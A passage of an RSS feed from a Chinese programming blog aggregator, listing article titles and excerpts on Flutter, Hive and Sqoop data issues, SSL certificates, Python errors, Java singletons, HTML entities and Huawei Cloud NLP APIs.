      <description>有状态Widget 什么是有状态Widget (StatefulWidget) 官方解释： 如果用户与 widget 交互，widget 会发生变化，那么它就是 有状态的。&#xA;有状态的 widget 自身是可动态改变的（基于State）。 例如用户交互而改变 Widget 的 state。&#xA;Checkbox、Radio、Slider class - material library - Dart API、 InkWell、Form 和 TextField 都是有状态 widget，它们都是 StatefulWidget 的子类。&#xA;Widget 的 状态（state ）保存在一个 State 的对象中。 State和Widget 是分离的，当 Widget状态变化时，State 对象调用 setState() 来通知框架去重绘 Widget&#xA;如何创建一个有状态Widget 实现一个有状态Widget需要创建两个类：&#xA;一个 StatefulWidget 的子类，用来定义一个 widget 类。一个 State 的子类，包含该widget状态并定义该 widget 的 build() 方法。 我们可以通过 VSCode Flutter 命令补全来快速场景一个 有状态组件:&#xA;fstful import &#39;package:flutter/material.dart&#39;; class FulStatePage extends StatefulWidget { const FulStatePage({super.</description>
    </item>
    <item>
      <title>Sectigo怎么把多个网站地址改为https</title>
      <link>https://bchobby.github.io/posts/93f405684bdafc9f9ee7ab7643d9d2bc/</link>
      <pubDate>Tue, 02 Jan 2024 15:01:15 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/93f405684bdafc9f9ee7ab7643d9d2bc/</guid>
      <description>随着电脑以及手机的普及，全世界的人都已经习惯在互联网提问、购物、浏览资讯等，越来越多的用户开始担心自己的信息(银行卡号、电话、支付密码等)被窃取以及篡改。SSL数字证书将http明文传输协议改为https加密传输协议，可以对网站传输信息加密，以此来保护用户上网安全，Sectigo是国际知名的CA认证机构，颁发了众多数字证书。今天就随SSL盾小编了解Sectigo怎么看将多个网站地址改为https。&#xA;第一步：获取SSL证书&#xA;Sectigo旗下的SSL证书的产品有很多，能够同时将多个网站地址改为https的SSL证书产品有通配符SSL证书和多域名SSL证书两种，但这两种SSL证书也有不同之处。多域名SSL证书默认包含3-5个域名网站，还可以付费添加至250个域名网站，通配符SSL证书默认包含主域名以及主域名下所有子域名。根据自己的需求选择Sectigo旗下的SSL证书。&#xA;第二步：安装SSL证书&#xA;生成CSR并提交，Sectigo旗下的DV数字证书验证域名所有权，OV数字证书验证域名所有权以及企事业单位的真实性，EV数字证书验证域名所有权以及企事业单位的真实性之后还需要企业提供第三方证明文件。一旦验证成功获得了SSL证书，就可以在网站服务器上安装。安装证书的具体步骤会因服务器类型的不同而有所差异。常见的服务器类型包括Apache、Nginx、IIS等。只要按照服务器类型和证书类型的指示进行安装就可以。&#xA;第三步：配置服务器&#xA;安装完SSL证书后，需要配置你的服务器以使用https协议来传输数据。这通常涉及到修改服务器的配置文件，以便将特定的域名或通配符域名与SSL证书关联起来。具体的配置步骤也会因服务器类型的不同而有所差异。</description>
    </item>
    <item>
      <title>sqoop（DataX）-MySQL导入HIVE时间格问题</title>
      <link>https://bchobby.github.io/posts/e754656bc120ad5866c4846efa0c35a1/</link>
      <pubDate>Tue, 02 Jan 2024 15:00:16 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e754656bc120ad5866c4846efa0c35a1/</guid>
      <description>这里写自定义目录标题 问题1：测试MySQL 数据信息HIVE数据信息hive中用 parquet（orc） 列式文件格式存储 解决方法问题2：解决方法 问题1： 用公司的大数据平台（DataX）导数，已经开发上线一个多月的一批报表，突然有同事说有个报表数据不准。出在时间字段上。&#xA;分析:&#xA;1、先看了原数据MySQL字段类型为datetime,目标字段为timestamp类型；&#xA;2、经发现所有时间的差距都是8小时，怀疑是因为时区转换的原因；&#xA;3、对比其他表，看看是大范围现象还是特殊情况，发现其他的同样情况字段的一样没有问题，也有改变为string字段类型的也没有问题；&#xA;测试 MySQL 数据信息 MySQL表名：test&#xA;MySQL字段类型如下：&#xA;field_nametypeidintnamevarcharcreat_day_timedatetimecreate_daydatecreate_timetimecreate_time_stamptimestamp -----测试数据如下 id name create_day_time create_day create_time create_time_stamp 1&#x9;xiaoming 2023-04-10 14:20:42 2023-04-10 14:20:42 2023-04-10 14:20:42 2 xiaohong 2023-04-21 14:21:02 2023-04-21 14:21:02 2023-04-21 14:21:02 HIVE数据信息 hive中用 text 文件格式存储&#xA;hive 表名：test_text&#xA;field_nametypeidintnamestringcreat_day_timestringcreate_daystringcreate_timestringcreate_time_stampstring -----hive 表中的数据： id name create_day_time create_day create_time create_time_stamp 1&#x9;xiaoming 2023-04-10 14:20:42 2023-04-10 14:20:42 2023-04-10 14:20:42 2 xiaohong 2023-04-21 14:21:02 2023-04-21 14:21:02 2023-04-21 14:21:02 与mysql表里面数据一致；</description>
    </item>
    <item>
      <title>深入了解隧道代理HTTP的协议与技术细节</title>
      <link>https://bchobby.github.io/posts/6229d9ccee78018dc2b20fbbdc8954f1/</link>
      <pubDate>Tue, 02 Jan 2024 14:59:58 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/6229d9ccee78018dc2b20fbbdc8954f1/</guid>
      <description>隧道代理HTTP，作为一种网络通信的桥梁技术，其背后的协议与技术细节承载着网络世界的无尽奥秘。对于技术人员而言，深入了解这些细节，不仅有助于优化网络性能，还能为网络安全提供坚实的保障。&#xA;一、隧道代理HTTP的协议基础&#xA;隧道代理HTTP主要基于HTTP协议进行通信。HTTP协议，即超文本传输协议，是互联网上应用最为广泛的一种网络协议。它定义了客户端与服务器之间的请求-响应模式，使得网页浏览、文件下载等网络活动得以顺利进行。&#xA;在隧道代理HTTP中，客户端首先通过HTTP协议与代理服务器建立连接，然后将请求数据封装在HTTP请求中发送给代理服务器。代理服务器接收到请求后，解析出真实的目标服务器地址，再通过自身的网络连接将请求转发给目标服务器。目标服务器处理完请求后，将响应数据返回给代理服务器，代理服务器再将其转发给客户端。&#xA;二、隧道代理HTTP的技术细节&#xA;连接管理：隧道代理HTTP需要管理客户端与代理服务器、代理服务器与目标服务器之间的连接。这包括连接的建立、保持和关闭等操作。为了提高性能，隧道代理HTTP通常会采用长连接技术，即在一次TCP连接中传输多个HTTP请求和响应。数据加密与解密：为了保障数据安全，隧道代理HTTP在传输过程中可能会对数据进行加密。常见的加密方式有SSL/TLS等。加密后的数据在传输过程中即使被截获，也难以被破解，从而保护了用户的隐私和数据安全。负载均衡：当有多个代理服务器可用时，隧道代理HTTP可以通过负载均衡技术将请求分发给不同的代理服务器处理，以提高整体的处理能力和容错性。协议转换：在某些情况下，客户端和目标服务器可能使用不同的协议进行通信。此时，隧道代理HTTP需要承担协议转换的任务，将客户端的请求转换为目标服务器能理解的格式，并将目标服务器的响应转换回客户端能理解的格式。 总之，隧道代理HTTP的协议与技术细节是构建稳定、高效、安全网络环境的重要基石。只有深入了解这些细节，才能更好地应用和优化隧道代理HTTP技术，为互联网的发展贡献力量。</description>
    </item>
    <item>
      <title>python 深度学习 记录遇到的报错问题11</title>
      <link>https://bchobby.github.io/posts/ab401faae052390d2371701fb329861e/</link>
      <pubDate>Tue, 02 Jan 2024 14:57:13 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ab401faae052390d2371701fb329861e/</guid>
      <description>本篇继python 深度学习 记录遇到的报错问题10-CSDN博客&#xA;六、ValueError: cannot convert float NaN to integer 报错：&#xA;原因：这个错误通常是因为在尝试将NaN值转换为整数时发生的。NaN表示“非数字”，它无法转换为整数。在 Python 中，NaN 表示 Not a Number，表示数据集中缺失的条目。 它是一种特殊的 float 值，不能转换为 float 以外的其他类型。&#xA;解决方法：先检查代码是否有不合理的地方，如果代码没有逻辑错误。&#xA;（1）然后检查输入数据，确保没有NaN值。例如，使用Pandas DataFrame时，可以使用.isna()方法检查数据中是否有NaN值。&#xA;（2）在转换之前检查数据类型，确保它们是可以转换为整数的数据类型。例如，在Python中，可以使用内置的isinstance()函数来检查数据类型。&#xA;（3）也可以使用 fillna() 方法修复python错误 ValueError: cannot convert float NaN to integer&#xA;fillna() 方法用 Python 中的给定值替换 NaN 值， 它检查列中的 NaN 值并用指定值填充它们。&#xA;df_new = df.fillna(0) print(df_new) （4）更新matplotlib_venn包，&#xA;pip install --upgrade matplotlib_venn 七、AttributeError: module &#39;tensorflow&#39; has no attribute &#39;reset_default_graph&#39; 报错：&#xA;原因：这个错误是因为在TensorFlow 2.0及更高版本中，reset_default_graph函数已经被移除了。在TensorFlow 1.x版本中，reset_default_graph函数用于清除默认图形堆栈并重置全局默认图形。但在TensorFlow 2.0及更高版本中，由于引入了急切执行（Eager Execution）模式，不再需要使用此函数。&#xA;解决方法：如果你需要在TensorFlow 2.</description>
    </item>
    <item>
      <title>Flutter基础</title>
      <link>https://bchobby.github.io/posts/4bc5da901986e5ab872ed39d28cee2ff/</link>
      <pubDate>Tue, 02 Jan 2024 14:55:30 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/4bc5da901986e5ab872ed39d28cee2ff/</guid>
      <description>一、关键字 class：用于定义一个新的类；&#xA;extends: 用于指定一个类继承另一个类；&#xA;mixin: 用于将一个类的代码片段添加到另一个类中，实现代码复用；&#xA;abstract: 用于声明一个抽象类或抽象方法，不能直接实例化；&#xA;implements: 用于实现一个接口，并继承接口中定义的方法和属性；&#xA;super: 用于在子类中调用父类的方法或属性；&#xA;const: 用于声明一个不可变的变量或对象；&#xA;null: 表示空值或不存在的值；&#xA;final: 用于声明一个常量或不可被重写的属性或方法；&#xA;abstract class: 声明一个抽象类，不能直接实例化，但可以作为其他类的基类；&#xA;interface: 声明一个接口，定义一组方法，但不带实现。&#xA;二、修饰符 const: 用于修饰变量或对象，表示该变量或对象是编译时常量，即其值在编译时是已知的，并且不会被改变；&#xA;final: 用于修饰变量或方法，表示该变量或方法不能被重写或修改；&#xA;late: 用于修饰变量，表示该变量是延迟初始化的，即在第一次使用之前不会进行初始化；&#xA;override: 用于修饰方法，表示该方法重写了父类中的方法；&#xA;external: 用于修饰方法或类，表示该方法或类的实现由其他代码库提供，不能被Flutter代码访问；&#xA;null: 用于修饰参数，表示该参数可以为null；&#xA;required: 用于修饰参数，表示该参数是必需的，调用函数时必须提供该参数。&#xA;三、可选参数 命名可选参数：通过在参数名称前面加上大括号“{}”来定义，在函数调用时，可以选择性地传入一个或多个参数；&#xA;位置可选参数：通过在参数名称前面加上中括号“[]”来定义，在函数调用时，必须按照从左到右的顺序传入参数，可以选择性地跳过某些参数；&#xA;可选参数必须是函数定义中最后一个参数，因为在Flutter中不支持链式调用语法；&#xA;如果函数定义中既有命名可选参数又有位置可选参数，那么位置可选参数必须放在命名可选参数之前。&#xA;四、异步编程 通常可以使用Future、async/await和Streams（数据流）。&#xA;五、路由 Route：在Flutter中，Route表示一个屏幕或页面的抽象；&#xA;当你想在应用中导航到一个新的页面时，你实际上是创建了一个新的Route并将其推送到Navigator中；&#xA;Navigator：Navigator是一个负责管理Route的Widget；&#xA;它内部维护了一个路由栈，这个栈结构允许用户在不同的页面之间进行切换；&#xA;当你调用Navigator的push方法时，一个新的Route会被添加到栈顶，表示当前显示的页面；相应地，当你调用pop方法时，栈顶的Route会被移除，显示前一个页面。&#xA;六、Channel 通常，在原生与Flutter进行混编时，两端可以通过监听Channel接收传递来的消息，通过invokeMethod或sendEvent等方法来发送消息，这叫做Platform Channels机制；&#xA;Channel共有三类，分别是BasicMessageChannel（传递字符串和半结构化信息）、MethodChannel（方法调用）和EventChannel（数据流通信）；&#xA;Channel有三个重要的成员变量，分别是String类型的name，代表Channel的唯一标识符；&#xA;BinaryMessenger类型的messager，代表消息的发送与接收工具，使用二进制格式的数据进行通信，BinaryMessenger会根据Channel的名称找到对应的Handler，并将消息交由其处理；&#xA;MessageCodec类型或MethodCodec类型的Codec，代表消息的编解码器。</description>
    </item>
    <item>
      <title>hive多分隔符外表支持</title>
      <link>https://bchobby.github.io/posts/6befc92319fc98525272fac51b55a555/</link>
      <pubDate>Tue, 02 Jan 2024 14:51:36 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/6befc92319fc98525272fac51b55a555/</guid>
      <description>在hive 外表关联文本的时候 有时会遇到不是一个长度的分割符比如&#34;~@&#34; 这种。这个时候使用shell命令多处理一步处理成单分隔符也可以，但是会有出错的风险。我们可以通过hive中指定的序列类来完成多分隔符的识别。&#xA;CREATE EXTERNAL TABLE text_mid1( id STRING ,name STRING ) ROW FORMAT SERDE &#39;org.apache.hadoop.hive.contrib.serde2.MultiDelimitSerDe&#39; WITH SERDEPROPERTIES(&#39;input.delimited&#39;=&#39;~@&#39; ) -- 指定分隔符s LOCATION &#39;/tmp/multidelimit_txt&#39; ; 需要在 SERDE中指定 ‘org.apache.hadoop.hive.contrib.serde2.MultiDelimitSerDe 类&#xA;然后在WITH SERDEPROPERTIES 指定’input.delimited’=‘@’</description>
    </item>
    <item>
      <title>记事本在手机桌面上怎么找？手机里的记事本怎么找？</title>
      <link>https://bchobby.github.io/posts/46c7ac8d9c48ca5468bd049644f94ed5/</link>
      <pubDate>Tue, 02 Jan 2024 14:45:53 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/46c7ac8d9c48ca5468bd049644f94ed5/</guid>
      <description>在日常生活、工作和学习中，我们时常需要随手记录一些重要的事项、灵感闪现的瞬间或者是待办的任务。比如，在超市购物前，列出购物清单；在开会时，记下重要的讨论点；在学习时，捕捉那一刹那的灵感。这时候在手机上使用一款记事本软件就是非常便捷的，但是很多人不知道手机里的记事本在哪里找？记事本在手机桌面上怎么找？&#xA;其实，大多数手机系统中都会自带记事类软件，例如笔记、便签、备忘录等，这些应用通常可以在手机桌面的“实用工具”文件夹中找到。但是，如果你想要一款不仅功能强大，而且颜值高的手机桌面记事本，那么敬业签也是不错的选择。&#xA;这款记事本软件拥有强大的记事功能。我们可以创建多个不同的便签分类来记录各种事项，无论是工作、学习还是生活，都能轻松应对。同时，每条便签中不仅支持添加文字，还可以上传多张图片、视频、音频、文档等多种格式的内容，让记事更加丰富多彩。另外，每条便签中还支持实时统计字数、修改字体颜色、录音转文字、提取图片中的文字等高级功能，满足大家更多的记事需求。&#xA;更为独特的是，这款记事本工具适用于安卓、苹果、鸿蒙等多个手机系统，并且都支持以添加窗口小工具或桌面小组件的形式，将便签和待办中的记事、提醒内容直接展示在手机桌面上。这样一来，你我们无需打开这款记事本软件，就能随时在手机桌面上查看记事内容，不仅实用而且美观。&#xA;如果你正在寻找一款功能强大、操作便捷且颜值高的手机记事本软件，敬业签将帮助你更好地管理生活、工作和学习中的各项事务，让你的记事体验更加轻松、有趣且高效。</description>
    </item>
    <item>
      <title>【Java EE初阶六】多线程案例（单例模式）</title>
      <link>https://bchobby.github.io/posts/f73f6c6f090adcf984ad6f17d8fe172d/</link>
      <pubDate>Tue, 02 Jan 2024 14:44:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f73f6c6f090adcf984ad6f17d8fe172d/</guid>
      <description>1. 单例模式 单例模式是一种设计模式，设计模式是我们必须要掌握的一个技能；&#xA;1.1 关于框架和设计模式 设计模式是软性的规定，且框架是硬性的规定，这些都是技术大佬已经设计好的；&#xA;一般来说设计模式有很多种，且不同的语言会有不同的设计模式，（同时设计模式也可以理解为对编程语言的一种补充）&#xA;1.2 细说单例模式 单例 = 单个实例（对象）；&#xA;某个类，在一个线程中，只应该创建一个实例化对象（原则上不应该有多个），这时就使用单例模式，如此可以对我们的代码进行一个更严格的校验和检查。&#xA;保证对象唯一性的方法：&#xA;方法一，可以通过“协议约束”，写一个文档，规定这个类只能有唯一的实例，程序员在接手这个代码时，就会发现这个文档已经进行约定，其中的规定约束着程序员在创建对象时，时刻注意只能创建一个对象。&#xA;方法二：从机器入手；让机器帮我们检查，我们期望让机器帮我们对代码中指定的类，创建类的实例个数进行检查、校验，当创建的实例个数超过我们期望个数，就编译报错。其中单例模式就是已经设计好的套路，可以实现这种预期效果。&#xA;关于单例模式代码实现的基本方式有两种：饿汉模式和懒汉模式；&#xA;2. 饿汉模式 饿汉模式是指创建实例的时期非常早；在类加载的时候，程序一启动，就已经创建好实例了，使用 “饿汉”这个词，就是形容创建实例非常迫切，非常早。单例模式代码如下：&#xA;class Singleton { private static Singleton instance = new Singleton(); public static Singleton getInstance() { return instance; } private Singleton(){ } } public class TestDemo4 { public static void main(String[] args) { Singleton singleton = new Singleton(); } } 当我们运行该代码时，系统就会报错，接下来我们详细的分析一下此处的代码； 这样，如果我们想new一个Singleton对象，也new不了，同时不管我们用getInstance获取多少次实例，获取的对象都是同一个对象，代码如下：&#xA;package thread; // 就期望这个类只能有唯一的实例 (一个进程中) class Singleton { private static Singleton instance = new Singleton(); public static Singleton getInstance() { return instance; } private Singleton() {} } public class ThreadDemo26 { public static void main(String[] args) { // Singleton s = new Singleton(); Singleton s = Singleton.</description>
    </item>
    <item>
      <title>Flutter 混合开发 - 动态下发 libflutter.so &amp; libapp.so</title>
      <link>https://bchobby.github.io/posts/349449d84680f37247dd4615fd76212a/</link>
      <pubDate>Tue, 02 Jan 2024 14:42:07 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/349449d84680f37247dd4615fd76212a/</guid>
      <description>背景 最近在做包体积优化，在完成代码混淆、压缩，裁剪ndk支持架构，以及资源压缩（如图片转webp、mp3压缩等）后发现安装包的中占比较大的仍是 so 动态库依赖。&#xA;具体查看发现 libflutter.so 和 libapp.so 的体积是最大的，这两个动态库都是 flutter 集成进来的。结合项目中 Flutter 的应用，Flutter 页面都是作为二级页面使用，而且页面使用频率很低，所以是不是可以把这两个 so 从 apk 中剔除，在应用启动后再动态下发呢？&#xA;如果可以实现，那么包体积又可以缩减 13.8 M，包体积在原基础上立减一半，收益非常可观！开搞！&#xA;实战 libflutter.so &amp;amp; libapp.so 如何引入项目的？ 项目是以远程依赖方式引入 flutter，即 flutter 开发完成后打包 aar 发布到公司 maven。通过解压已打包的 aar 发现，aar 中仅有 libapp.so，并没有 libflutter.so。而唯一提到 libflutter.so 的只有打包时生成的 pom 文件。&#xA;那么就从宿主项目入手。要远程依赖 flutter，需要指定 repositories{} 。通过配置发现，除了公司 maven 仓库地址，还需要额外配置一个 &#34;https://storage.flutter-io.cn/download.flutter.io&#34;，结合打包时生成的 pom 文件，可以猜测 libflutter.so 是在依赖解析过程中引入到项目中的。&#xA;allprojects { repositories { google() mavenCentral() //flutter 需要的仓库配置： maven { url &#39;******&#39; //公司 maven 仓库地址 } maven { url &#39;https://storage.</description>
    </item>
    <item>
      <title>编程笔记 html5&amp;css&amp;js 019 HTML实体</title>
      <link>https://bchobby.github.io/posts/3ff90be9337059d96e78f89aac5eb56f/</link>
      <pubDate>Tue, 02 Jan 2024 14:40:40 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/3ff90be9337059d96e78f89aac5eb56f/</guid>
      <description>编程笔记 html5&amp;amp;css&amp;amp;js 019 HTML实体 一、HTML 字符实体二、HTML 符号实体小结 在HTML文档中，用一些标记表示特定的格式，那我们想使用这些标记字符本身时就出了问题，直接使用时，会被浏览器解析为标记的，要想显示这些字符本身，要使用“实体”，在其他语言中，一般称为转义字符。 一、HTML 字符实体 HTML 中的预留字符必须被替换为字符实体。&#xA;在 HTML 中，某些字符是预留的。&#xA;在 HTML 中不能使用小于号（&amp;lt;）和大于号（&amp;gt;），这是因为浏览器会误认为它们是标签。&#xA;如果希望正确地显示预留字符，我们必须在 HTML 源代码中使用字符实体（character entities）。&#xA;字符实体类似这样：&#xA;&amp;amp;entity_name;&#xA;或者&#xA;&amp;amp;#entity_number;&#xA;如需显示小于号，我们必须这样写：&amp;amp;lt; 或 &amp;amp;#60;&#xA;提示：使用实体名而不是数字的好处是，名称易于记忆。不过坏处是，浏览器也许并不支持所有实体名称（对实体数字的支持却很好）。&#xA;不间断空格（non-breaking space）&#xA;HTML 中的常用字符实体是不间断空格(&amp;amp;nbsp;)。&#xA;浏览器总是会截短 HTML 页面中的空格。如果您在文本中写 10 个空格，在显示该页面之前，浏览器会删除它们中的 9 个。如需在页面中增加空格的数量，您需要使用 &amp;amp;nbsp; 字符实体。&#xA;HTML 中有用的字符实体&#xA;注释：实体名称对大小写敏感！&#xA;显示结果 描述 实体名称 实体编号&#xA;空格&#x9;&amp;amp;nbsp;&#x9;&amp;amp;#160; &amp;lt;&#x9;小于号&#x9;&amp;amp;lt;&#x9;&amp;amp;#60; &amp;gt;&#x9;大于号&#x9;&amp;amp;gt;&#x9;&amp;amp;#62; &amp;amp;&#x9;和号&#x9;&amp;amp;amp;&#x9;&amp;amp;#38; &#34;&#x9;引号&#x9;&amp;amp;quot;&#x9;&amp;amp;#34; &#39;&#x9;撇号 &amp;amp;apos; (IE不支持)&#x9;&amp;amp;#39; ￠&#x9;分（cent）&#x9;&amp;amp;cent;&#x9;&amp;amp;#162; £&#x9;镑（pound）&#x9;&amp;amp;pound;&#x9;&amp;amp;#163; ¥&#x9;元（yen）&#x9;&amp;amp;yen;&#x9;&amp;amp;#165; €&#x9;欧元（euro）&#x9;&amp;amp;euro;&#x9;&amp;amp;#8364; §&#x9;小节&#x9;&amp;amp;sect;&#x9;&amp;amp;#167; ©&#x9;版权（copyright）&#x9;&amp;amp;copy;&#x9;&amp;amp;#169; ®&#x9;注册商标&#x9;&amp;amp;reg;&#x9;&amp;amp;#174; ™&#x9;商标&#x9;&amp;amp;trade;&#x9;&amp;amp;#8482; ×&#x9;乘号&#x9;&amp;amp;times;&#x9;&amp;amp;#215; ÷&#x9;除号&#x9;&amp;amp;divide;&#x9;&amp;amp;#247; 键盘上不存在的字符也可以由实体代替。</description>
    </item>
    <item>
      <title>总结2023，展望2024</title>
      <link>https://bchobby.github.io/posts/2ba8f083c2d30e02b9b22a75b0228918/</link>
      <pubDate>Tue, 02 Jan 2024 14:40:38 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/2ba8f083c2d30e02b9b22a75b0228918/</guid>
      <description>2023年是一个充满挑战和机遇的一年。全球范围内，人们继续努力应对新冠疫情的影响，各行各业都面临着巨大的变革和调整。在这个动荡的环境下，技术行业也经历了许多重要的发展和变革。&#xA;首先，人工智能在2023年取得了巨大的突破和应用。在各个领域，人们开始充分利用人工智能技术来解决实际问题，提高效率和创造价值。从自动驾驶汽车到智能助理，从智能城市到医疗诊断，人工智能正逐渐渗透到我们生活的方方面面。同时，人们也更加重视人工智能伦理和安全的问题，对于人工智能的发展和应用提出了更高的要求。&#xA;其次，区块链技术在2023年得到了广泛的认可和应用。随着数字货币的兴起和区块链技术的成熟，越来越多的企业和组织开始探索和应用区块链技术，改变传统的商业模式和交易方式。区块链不仅能够提供更高效、安全和透明的交易方式，还可以为供应链管理、版权保护等领域带来创新和变革。&#xA;另外，网络安全成为了2023年的重要议题。随着数字化的深入和网络攻击的增加，保护网络安全成为了各个领域的首要任务。企业和组织纷纷加强网络安全的投入和建设，提高网络防御和应急响应能力。同时，法规和政策也在不断完善，加强网络安全的监管和保护，维护公民和企业的合法权益。&#xA;展望2024年，我相信技术行业将继续迎来新的发展和挑战。随着人工智能、区块链、物联网等技术的不断成熟和普及，我们将看到更多创新和应用的出现。同时，随着数字化的深入和数据的爆炸式增长，数据科学和数据隐私保护也将成为重要的议题。&#xA;此外，随着全球经济的复苏和科技产业的持续发展，我们可以预见到更多创新企业和初创公司的涌现。在这个竞争激烈的环境下，不断学习和提升自己的技术能力将变得更加重要。同时，跨学科的合作和协同也将成为趋势，技术人才需要具备广泛的知识和能力来应对不断变化的挑战。&#xA;总而言之，2023年是一个充满变革和发展的一年，而2024年将继续延续这个趋势。作为技术人员，我们应该不断学习和适应，把握机遇，迎接挑战，为技术行业的发展和进步做出贡献。&#xA;让我们一起告别2023，迎接2024的到来吧！就让那些昨日的辉煌成为我们美好的回忆，为了让未来有更多美好的回忆一起奋斗吧！！！</description>
    </item>
    <item>
      <title>一文掌握Python3 基础语法</title>
      <link>https://bchobby.github.io/posts/d7c29da86c20e986335848943920e971/</link>
      <pubDate>Tue, 02 Jan 2024 14:40:37 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d7c29da86c20e986335848943920e971/</guid>
      <description>一、编码 默认情况下，Python 3 源码文件以 UTF-8 编码，所有字符串都是 unicode 字符串。 当然你也可以为源码文件指定不同的编码：&#xA;# -*- coding: cp-1252 -*- 上述定义允许在源文件中使用 Windows-1252 字符集中的字符编码，对应适合语言为保加利亚语、白俄罗斯语、马其顿语、俄语、塞尔维亚语。&#xA;二、标识符 第一个字符必须是字母表中字母或下划线 _ 。标识符的其他的部分由字母、数字和下划线组成。标识符对大小写敏感。 在 Python 3 中，可以用中文作为变量名，非 ASCII 标识符也是允许的了。&#xA;三、python保留字 保留字即关键字，我们不能把它们用作任何标识符名称。Python 的标准库提供了一个 keyword 模块，可以输出当前版本的所有关键字：&#xA;&amp;gt;&amp;gt;&amp;gt; import keyword &amp;gt;&amp;gt;&amp;gt; keyword.kwlist [&#39;False&#39;, &#39;None&#39;, &#39;True&#39;, &#39;and&#39;, &#39;as&#39;, &#39;assert&#39;, &#39;break&#39;, &#39;class&#39;, &#39;continue&#39;, &#39;def&#39;, &#39;del&#39;, &#39;elif&#39;, &#39;else&#39;, &#39;except&#39;, &#39;finally&#39;, &#39;for&#39;, &#39;from&#39;, &#39;global&#39;, &#39;if&#39;, &#39;import&#39;, &#39;in&#39;, &#39;is&#39;, &#39;lambda&#39;, &#39;nonlocal&#39;, &#39;not&#39;, &#39;or&#39;, &#39;pass&#39;, &#39;raise&#39;, &#39;return&#39;, &#39;try&#39;, &#39;while&#39;, &#39;with&#39;, &#39;yield&#39;] 四、注释 Python中单行注释以 # 开头，实例如下：</description>
    </item>
    <item>
      <title>华为Could API人工智能系列——事件抽取</title>
      <link>https://bchobby.github.io/posts/a46c89ca02a7b9594ca97328a14085d3/</link>
      <pubDate>Tue, 02 Jan 2024 14:36:45 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a46c89ca02a7b9594ca97328a14085d3/</guid>
      <description>华为Could API人工智能系列——事件抽取 前言 云原生时代，开发者们的编程方式、编程习惯都发生了天翻地覆的变化，大家逐渐地习惯在云端构建自己的应用。作为新一代的开发者们，如何更快速了解云，学习云，使用云，更便捷、更智能的开发代码，从而提升我们的开发效率，是当前最热门的话题之一，而Huawei Cloud Toolkit,作为连接华为云的百宝箱，是集成在各大IDE平台上的插件集合，会在方方面面提升着开发者的效率。&#xA;华为云API开发套件助力开发者快速集成华为云，可做到便捷连接200+的华为云服务，引用7000+的华为云API服务，在IDE中集成华为云的功能，让开发者与云端华为云建立连接。&#xA;智能编码方面集成了华为云自主研发的代码大模型和软件分析技术，全场景函数级、行级代码生成，同规模算力一次通过业界第一，这会帮助开发者更为高效的使用自动语义生成，达到快速开发的目的，使整个过程更智能。&#xA;环境准备 开发语言：Python&#xA;开发工具：PyCharm Community Edition 2023.1.4&#xA;PyCharm插件：&#xA;1、Chinese (Simplified) Language Pack /中文语言包&#xA;2、Huawei Cloud API：华为云API插件提供华为云服务全量API检索、调试、SDK代码自动补全、集成华为云CLI、示例代码等功能&#xA;3、Huawei Cloud CodeArts Check：华为云代码检查插件提供业界规范（含华为云）检查，支持一键格式化和代码自动修复，当前支持Java、C++、C，这个使您使用的环境操作即可，我这里用的python没有提示。&#xA;4、Huawei Cloud CodeArts Snap：华为云 CodeArt Snap 智能编程助手致力于打造现代化开发新范式，通过将自然语言转化为规范可阅读、无开源漏洞的编程语言，提升开发者编码效率，助力企业快速响应市场不确定性；&#xA;5、Huawei Cloud Toolkit Platform：华为云底座插件为华为云各类云服务插件提供公共能力，比如单点登录、UI集成、API访问等功能；&#xA;PyCharm环境的搭建：https://laoshifu.blog.csdn.net/article/details/135279145&#xA;API接口开通地址：https://console.huaweicloud.com/nlp/#/nlp/overview 事件抽取 事件抽取是指从自然语言文本中抽取指定类型的事件以及相关实体信息,并形成结构化数据输出的文本处理技术。 目前只支持金融公告中会议召开、聘任、辞职、股票增持、股票减持5类事件以及相关要素的抽取。&#xA;开通地址：https://console.huaweicloud.com/nlp/#/nlp/overview&#xA;开通完毕：&#xA;请求参数 名称类型IN必选描述X-Auth-Tokenstringheadertrue 用户Token。 通过调用IAM服务获取用户Token接口获取(响应消息头中X-Subject-Token的值)。&#xA;project_idstringpathtrue 来自公有云的Project ID,用于资源隔离。&#xA;Body 参数 名称类型必选描述textstringtrue 待分析文本,长度为1~256,文本编码为UTF-8。&#xA;返回参数 名称类型必选描述rolestringtrue 元素角色。元素角色指的是事件元素在事件中扮演的角色,是事件元素与事件的语义关系。&#xA;spanArray of integerstrue 实体文本在待分析文本中的起始和终止位置。&#xA;wordstringtrue 实体文本。&#xA;API调试 测试文本：【亲爱的博客群小伙伴们， 新年快乐！我是红目香薰，在这个充满希望与梦想的新年之际，我想对你们说一声：谢谢你们一直以来的陪伴和支持。 愿新的一年里，我们都能在生活的每一个角落里，找到属于自己的幸福与快乐。愿我们的友情如同这新年的烟火，照亮我们的生活，温暖我们的心灵。 愿新的一年里，你们每一个梦想都能实现，每一个努力都能得到回报。愿我们都能拥有一个美好的未来，一个充满爱与和平的世界。 再次感谢你们的陪伴，愿新年的钟声带给我们新的开始，新的希望，新的力量。让我们一起，迎接新的一年，迎接新的挑战，迎接新的机遇！ 】</description>
    </item>
    <item>
      <title>华为Could API人工智能系列——实体链接</title>
      <link>https://bchobby.github.io/posts/4a010d1bd7285fdec549b62a0d3f8cb2/</link>
      <pubDate>Tue, 02 Jan 2024 14:09:42 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/4a010d1bd7285fdec549b62a0d3f8cb2/</guid>
